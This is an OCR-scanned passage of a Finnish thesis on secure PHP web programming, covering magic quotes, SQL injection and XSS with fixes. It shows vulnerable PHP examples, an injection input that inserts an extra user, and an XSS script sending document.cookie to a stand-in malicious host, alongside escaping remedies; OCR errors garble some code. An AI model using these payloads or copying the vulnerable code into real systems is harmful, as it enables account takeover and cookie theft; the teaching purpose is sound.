; Magic quotes

; Magic quotes for incoming GET/POST/Cookie data.
magic_quotes gpc = Off

; Magic quotes for runtime-generated data, e.g. data from
SQL, from exec(), etc.

magic_quotes runtime = Off

; Use Sybase-style magic quotes (escape ' with '' instead of

") .

magic quotes sybase = Off

2. tapa

(.htaccess):

php flag magic_quotes gpc Off

. (Achour, ym., 2011)
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4 JAVASCRIPT

JavaScript on vuonna 1995 Netscapen julkaisema skriptaus-kieli. Se on PHP-kielen
ohella yksi kaytetyimmista www-ohjelmointikielista, jonka avulla voidaan tehda dy-
naamista sisaltéa sivuille. Silla on mahdollista elavéittaa nettisivuja tuomalla dynaa-
mista toiminnallisuutta kuten animaatiota. Silla voidaan tehda myés paljon sellaista,
mihin PHP ei kykene. (Javascript, 2011)

JavaScript ajetaan kayttdjan koneella nettiselaimessa, joten se ei kuormita palvelinta.
JavaScriptilla onkin mahdollista validoida eli varmistaa syotteita ennen kuin ne mene-
vat tietokantakyselyyn, joten nain palvelimen kuormitus laskee. (Javascript, 2011)
Vaikka JavaScript-kieli on vanha ja siihen on julkaistu paivityksia useasti, niin silti siita
I0ytyy vield paljon tietoturva-aukkoja. Siksi kannattaakin olla tarkkana, mihin ja miten

sita kayttaa.

JavaScript-kielella voi tehda paljon hyvaa, mutta sita voi valitettavasti kayttaa myos
pahoihin tarkoituksiin. Kappaleessa 6.1.1 on naytetty, miten pienellda JavaScript-
koodin patkalla voidaan uudelleenohjata kayttaja pahalle sivulle, jossa PHP-tiedosto

lukee tiedot cookiesta.
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5 TIETOTURVALLINEN WWW-OHJELMOINTI

Internetin ja WWW-palveluiden kehittyesséa viime vuosina niiden suosio on kasvanut
rajahdysmaisesti. Ihmiset kayttavat WWW-sovelluksia kuten Facebook ja Twitter,
enemman kuin koskaan. Facebook on myds ohjelmoitu kayttamalla PHP:t4, JavaSc-
riptid ja useita muita vapaan lahdekoodin kielid, joten myods Facebook-palvelussa
naiden kielien tietoturva-aukkoja saattaa l6ytya (Developers, 2011).

Meista I6ytyy todella paljon tietoa myds erilaisista valtion palveluista. Valtion virastot,
pankit ja vakuutusyhtiot ovat siirtdneet suuren osan palveluistaan internetiin. Naissa
palveluissa tiedot ovat todella yksityisia eika niita toivoisi menettavansa rikollisille.
Tosin suojaukset ovat tietenkin yleensa todella hyvin toteutettuja. Onkin ymmarretta-
va, ettd kaikki internetissa liikkuvat inmiset eivat ole hyvalla asialla ja sen mukainen
WWW-suunnittelu pitéisi ottaa kayttdon. Tietoturva on viime vuosina ollut otsikoissa
paljon. Tunnetuin tapaus lienee Alypaa-palvelusta vuonna 2010 murretuista 127 000
salasanasta ja naihin salasanoihin liitetyistd séahkopostiosoitteista, jotka levisivat in-
ternetissd vuoden 2010 alkupuoliskolla ja aiheuttivat ongelmia kayttajille (CERT-FI
varoitus 01/2010, 2011).

Kaikilta tietoturvauhkilta ei tietenk&én voida suojautua, koska rikolliset ja haitantekijat
ovat aina askeleen edella murtautumistekniikkojen osalta. Nykyisin tiedossa olevia
tietoturvauhkia vastaan on kuitenkin helppo suojautua pienilla toimenpiteilld. Yleisena

saantdéna onkin suodattaa kaikki ulkopuolelta tuleva tieto.

Mita henkilokohtaisempaa tietoa sovellus kasittelee, sita turvallisemmaksi ohjelma on
tehtava. Ohjelmistoa suunniteltaessa tulisikin budjettiin lisata maararahoja tietoturvan
sunnitteluun ja toteutukseen. Nama lisdkulut voivat saastda tulevaisuudessa paljon
korjauskuluissa tai pahimmillaan oikeuskuluissa. Mutta kannattaa kuitenkin tasapai-
nottaa kulut, jotka koituvat lisatyosta. Jos tietoturvallisen ohjelmointikoodin tekeminen

on liian kallista, jotain on tehty vaarin. (Basic steps, 2011)

Ohjelmasta ei mydskaan saisi tulla liian vaikeaa kayttaa. Lisatyt tietoturvaelementit ja
varmistukset saattavat hankaloittaa sovelluksen kayttba. Sovellusta saattavat kayt-
tda vanhemmatkin ihmiset. Heille ohjelmiston vaikeudesta voi tulla ylitsepaasematon

este. Ohjelmiston kaytettavyys ei siis saa karsia.
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Ohjelmistoa suunniteltaessa olisikin tarked ottaa huomioon ensisijaisesti tietoturva.
Mietitaan mita ja miten kayttaja tietoa syottaa. Talldin voidaan ottaa huomioon tieto-
turvariskit ja valttaa tulevat hyokkaykset. (What is security, 2011)

Ensimmaisené vaiheena voi olla hyva miettia, mit& lainvastaista voi ohjelmalla tehda.
Voi olla vaikeaa ajatella, miten ohjelmaa voidaan kayttdd vaarin, mutta miettimalla
lainvastaisia kayttotarkoituksia, ohjelmoija on tavallaan askeleen edelld hytkkaajaa ja
Vvoi torjua kyseiset toimenpiteet.

Turvallisen koodin kirjoittaminen ei ole vaikeaa, kunhan opettelee sen alusta alkaen.
Vaikka yhtendaista tietoa kaikista mahdollisista tietoturvauhkista ei ole, niista 16ytyy
kylla tietoa kirjoista, alan WWW-sivuilta ja keskustelupalstoilta. Yleensa tietoturvallis-
ta koodia saa aikaan jo pienella vaivalla. Paras keino onkin suodattaa kayttajan syot-
tamat tiedot. Ohjelma ei voi tietdd, mika kayttajan syotteesta on pahaa, joten sen lapi
menee suodattamatta kaikki tieto. Taman takia onkin tarkeda suodattaa kaikki ulko-

puolelta tuleva tieto. (Basic steps, 2011)
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6 UHKAT

Nykyisin kaksi eniten kaytettya tietoturvahyotkkaystda ovat MySQL-injektio ja XSS.
Yleensé naissa hyokkayksissa kaytetddn hyvaksi huonoa tai puutteellista ohjelmointi-
koodia tai kayttdjan luottamusta kyseiseen sivustoon. Seuraavissa luvuissa kerrotaan
kummastakin hyokkaystavasta ja siitd miten niiltd voidaan valttya pienilla toimenpiteil-
la.

6.1 SQL-injektio

SQL-Injektiolla tarkoitetaan haitallisen koodin syottamista huonosti toteutettuun tai
puutteelliseen koodiin. Talla on mahdollista p&asta kasiksi sivuston hallintapuoleen
tai pahimmassa tapauksessa kaikkiin tietoihin sivustolla. Pienella koodimaaralla on
myos mahdollista tuhota kokonaisia tietokantoja, joten kayttajan syottdman tiedon

varmistaminen on todella hyddyllisté.

Esimerkkina toimii normaali SQL-lause, joka lisda kayttajan tietokantaan kayttden
INSERT-lausetta:

<?php

$sgl = "INSERT INTO users (user name, password,
email) VALUES ('{$ POST['username]}', 'Spassword’,
'{S$_POST['email]l}"')";

mysgl query ($sql);
?>

Tietokannassa on taulu nimelta ‘users’, jossa ovat sarakkeina ‘user_name’ eli kaytta-
janimi, ‘password’ eli salasana ja 'email’ eli sdhkopostiosoite. POST-taulussa olevat

muuttujat syotetaan sellaisenaan tietokantakyselyyn ilman siistimista.

Esimerkissa kayttaja syottaa rekisterditymisvaiheessa nimekseen

pahis', 'salasana', ''), ('hyvis

Jarjestelma ei tiedd, onko tama kayttajanimi hyva vai huono, ja ilman siistimista jar-
jestelma siirtda rivin tietokantakyselyyn suoraan. Jarjestelma luo kayttajalle satunnai-

sen salasanan, joka on nyt tassa esimerkissa 1234. Murtautuja on laittanut sahko6-
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postiosoitteen kohdalle aidolta vaikuttavan sahkodpostiosoitteen, joten kysely menee

kantaan nain:

<?php $sgl = "INSERT INTO users (username,
password, email) VALUES ('pahis', 'salasana',

'y, ('hyvis', '1234', esimerkki@esimerkki.net')"; 2>

Kayttgjia lisatdan tietokantaan kaksi alkuperdisen yhden sijasta. Murtautuja saa tun-
nuksekseen “pahis” ja salasanaksi "salasana”. Nain ollen murtautuja voi kirjautua
nailld tunnuksilla sisaan ilman sahkopostitarkastusta. Vaikka tama nayttda harmitto-
malta, on kuitenkin otettava huomioon se, etta pahempaakin voi tapahtua, jos kaytta-
j& voi paastéa suoraan muokkaamaan SQL-kyselyita.

Tamakin voidaan estaa pienella vaivannaélla.

<?php

$siistitty kayttajanimi=
mysqgl real escape string($_POST['username']);
$siistitty email = mysqgl real escape string($ POST['email']);

$sgl = "INSERT INTO users (user name, password,
email) VALUES ('$siistitty kayttajanimi', 'S$password’,
'Ssiistitty email')";

mysqgl query ($sql);

?>

Nyt $siistitty kayttajanimi-muuttujassa kulkee sama teksti kuin alunperin, mutta

muodossa ja teksti ei enaa vaikuta SQL-lauseeseen. Kayttajanimeksi tulee

pahis\', \'salasanal\', \'\'"), (\'hyvis

SQL-kysely ei mene todennédkdisesti nyt lapi ja kysely katkeaa. Ja vaikka kysely me-
nisikin lapi, murtautuja on lisannyt kayttajan, jonka nimi on tuo ylempi siistitty koodin-

patka ja sdhkodpostiosoite aiemmin mainittu esimerkki@esimerkki.net

Nain pienelld maaralla koodia saadaan estettyd suurin osa injektio-yrityksista.

Tama ei kuitenkaan esta kaikkea ja lisasuojaus saattaa olla vield tarpeen.

Tieto tulisikin aina suodattaa ennen kuin se siirretdan tietokantakyselyyn. Pienella-
maaralla ohjelmointikoodia voidaan valttya suurimmalta osalta injektioriskeista. Kap-

paleessa 3.2 on kerrottu tarkemmin, miten ja missa kannattaa suodatusta kayttaa.
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Joskus taysin oikeanlainenkin tieto voi aiheuttaa ongelmia tahattomasti. Voi olla, etta
etu-tai sukunimessa on heittomerkki, joka on SQL-komennoissakin kaytetty merkki.
Tama voi aiheuttaa pienid ongelmia. PHP-kielessd loytyy  funktio
mysql_real_escape_string(), joka lisdd kenoviivan ennen haitallista heittomerkkia.

<?php
Ssukunimi = "0 hara”;
$sukunimi = mysgl real escape string(Setunimi);

echo S$sukunimi;

?>

Kyseinen koodi palauttaa sukunimen siistittynd. Téassa tapauksessa sukunimi tulisi

muodossa O\'hara ja se on turvallinen tietokannan syéte. (SQL-injection, 2011)

6.2 XSS

XSS eli Cross Site Scripting on MySQL-injektion ohella yksi yleisimmista tietotur-
vauhkista nykyaikana. XSS-hyokkayksille on tavanomaista, ettd ne kayttavat hyvak-

seen luotettavia sivustoja ja kayttdjien luottamusta niihin.

Taytyy myds muistaa, etta vaikka kayttaja ei luottaisikaan sivustoon, niin selain ei tata
tieda. On otettava myds huomioon kayttajakohtaiset erot sivustoa selatessa.
Kayttdjien selaustavat voivat vaihdella sivukohtaisesti ja selaimen turvaluokitus voi

vaihdella mygs riippuen sivusta.

XSS-hyodkkaykset kayttavat hyvakseen sivustoja, joissa naytetdan ulkopuolista tietoa
kuten foorumit, netin kautta toimivat sdhkdpostiohjelmat, tai mitd vaan mika nayttaa
syndikoituja tietoja eli tietoa mika on saatavilla myds ulkopuolisilla sivuilla. Syndikoitu-
ja tietoja ovat esimerkiksi erilaiset RSS-syotteet. RSS-syoétteitd kaytetdadn todella ylei-

sesti nykyaan ja esimerkiksi uutissivustot kayttavat RSS-syotteita paljon.

XSS-hydkkayksiltd voidaan myds suojautua suodattamalla kaikki kayttajalta tuleva tai

sivuilla esitettava tieto.

Otetaan esimerkkina yksinkertainen viestittelyohjelma:

<?php
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if (isset($_GET['viesti'l))

{
$fp = fopen('./viestit.txt', 'a');
fwrite ($fp, "{S$_GET['viesti']}<br />");
fclose ($fp) ;

}

readfile('./viestit.txt");
>

<form>

<input type="text" name="viesti"><br />
<input type="submit">

</form>

Tassa naemme alimpana yksinkertaisen lomakkeen, jossa on vain yksi kentta "viesti”
ja laheta painike "submit”. Kun viesti lahetetdan, niin PHP-koodissa aukaistaan tie-
dosto viestit.txt ja kirjoitetaan viestin sisdltd tiedostoon. Viestin jalkeen tiedostoon
tulostetaan tyhja rivi <br /> -merkinnalla. TAman jalkeen tiedosto suljetaan. Viimeise-
na readfile()-funktio lukee viestit.txt tiedoston sisallon ja tulostaa sen ruudulle. Ajatel-
laan tilanne, ettd joku pahantahtoinen kayttaja syottaa viestiksi JavaScript koodin:

<script>

document.location =

'http://www.pahaosoite.com/varasta tiedot.php?cookies='+ doc-

ument.cookie
</script>

Seuraava kayttaja, jolla on selaimessa JavaScript paalla, ohjautuu sivustolle

http://www.pahaosoite.com. Palvelimella sijaitseva tiedosto “varasta_tiedot.php” va-

rastaa tiedon sivustolta tulleesta cookiesta.

Taltakin voidaan valttyd kayttamalla PHP-kielen valmiita funktioita. Tassa esimerkissa
kaytetaan htmlentities()-funktiota, joka muokkaa tekstissa tulevat erikoismerkit HTML-
standardin merkeiksi. Nain ollen kyseinen JavaScript koodi tulostetaan vain sivulle

pelkkdna tekstind eikd uudelleenohjausta synny.

<?php

if (isset($ GET['viesti']))

{
$viesti = htmlentities($ GET['viesti']);
Sfp = fopen('./viestit.txt', 'a');
fwrite ($fp, "S$viesti<br />");
fclose ($fp) ;

}

readfile('./viestit.txt"');

?>


http://www.pahaosoite.com/
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<form>

<input type="text" name="viesti"><br />

<input type="submit">

</form>
Tiedon suodattamisen tarkeytta ei voi yliarvioida. Taméankin uhkan voi pienella vaival-
la torjua kayttamalla tiedon suodattamista. PHP-kielessa 16ytyy todella paljon hyddyl-
lisia funktioita, joiden avulla voidaan siistid koodia. Ei ole siis jarkevaa tehda omaa
funktiota siistimaan syotettd jos niitd on valmiina. PHP-kielen omat funktiot ovat
yleensa luotettavampia, koska niitd on testattu useammin ja niitd on testattu monen
kayttajan toimesta. Tarvittaessa kaytetdan ainakin htmlentities(), strip tags ()
ja ut£8 decode () -funktioita. Kaikkea sivuille tulevaa tietoa pitéisi pitdéa huonona
ennen kuin tieto tarkastetaan ja hyvaksytdan. Tulevasta tiedosta olisi tarkastettava
ainakin oikea pituus, tietotyyppi, olemassaolo ja erikoismerkit. Mieluummin hyva koo-
di hylatddn kuin hyvaksytdan paha. Suodatettu tieto pitaisi myds tunnistaa jalkika-
teen.. Esimerkiksi muuttuja $nimi ennen suodatusta ja suodatuksen jalkeen $ni-

mi_suodatettu. (Cross-site scripting, 2011)
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7 YHTEENVETO

Opinnaytetyodn tarkoitus oli tutkia ja mahdollisesti parantaa Imageworldin IW-Renki-
sisélléonhallintajarjestelmén tietoturvaa. Tavoitteessani onnistuin omasta mielestani
hyvin. Vaikka IW-Renki oli toteutettu erittédin hyvin ottaen huomioon tietoturvan, silti
aina loytyy parannettavaa. Uskoisin, ettéd IW-Renki on nyt entista turvallisempi kayt-
taa.

Tyo6ni aikana opin paljon WWW-tekniikoista ja erityisesti tietoturvasta. Opin, kuinka
pienilla muutoksilla ohjelmointikoodiin turvallisuutta voidaan parantaa huomattavasti.
Tasta on varmasti hyotya tyollistymisessani. Ohjelmointiala muuttuu paljon koko ajan
ja kaytettavat standardit ja alan kaytannot muuttuvat myos. Tietoturvan osuus kasvaa
aina siind suhteessa, mitd enemman kayttajan tietoja sovelluksessa liikkuu. Jatkuva
opiskelu ja ajan tasalla pysyminen ovat todella térkeita taitoja jokaiselle ohjelmiston-

kehittajalle.

Aluksi oli vaikeaa saada kokonaisuutta haltuun. Mutta materiaaleihin huolellisesti
perehtymalla tietoturvan parantamisen suunnittelu ja varsinainen toteutus onnistuivat
kohtuullisella vaivannadlla. Tulevaisuudessa uskon tasta tydsta olevan minulle todella

paljon apua silloin, kun ty6elamassa paasen ratkaisemaan vastaanlaisia ongelmia.
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